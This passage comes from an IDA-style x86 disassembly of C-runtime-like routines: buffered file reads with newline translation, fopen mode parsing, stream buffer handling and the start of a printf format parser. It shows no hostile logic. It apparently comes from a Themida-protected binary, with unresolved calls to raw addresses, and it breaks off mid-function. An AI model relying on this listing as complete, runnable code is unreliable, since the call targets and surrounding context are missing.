; ---------------------------------------------------------------------------

loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DC700
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DC600h[eax*4]
		mov	eax, dword_4DC600[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2670E9Dh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB2A8, 9
		mov	dword_4DB2AC, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8

loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------

loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------

loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------

loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh

loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE

loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------

loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]

loc_41F266:				; DATA XREF: Themida_:0054C1E8o
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		call	near ptr 2670E9Dh
		nop
		test	eax, eax
		jnz	short loc_41F2CC

loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------

loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7

loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------

loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0

loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh

loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi

loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------

loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al

loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------

loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9

loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh

loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB328
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DB494
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------

loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------

loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h

loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2

loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx

loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------

loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458

loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------

loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E

loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------

loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DB490
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DC5E0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DB5C8
		mov	edi, ebx

loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------

loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------

loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DB5C8
		mov	[edi+ecx], eax
		mov	eax, dword_4DB5C8
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi

loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C328
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------

loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C328
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------

loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------

loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43CA38
		jz	short loc_41F5EA
		cmp	esi, offset dword_43CA58
		jnz	short loc_41F5F5

loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC

loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx

loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------

loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC600[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------

loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43C980

loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch

loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------

loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------

loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------

loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax

loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh

loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------

loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx

loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+42773Ch]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------

loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax

loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_42775C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump

loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax

loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------

loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx

loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C328	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8

loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh

loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43C544
		mov	[ebp+var_8], ecx

loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------

loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
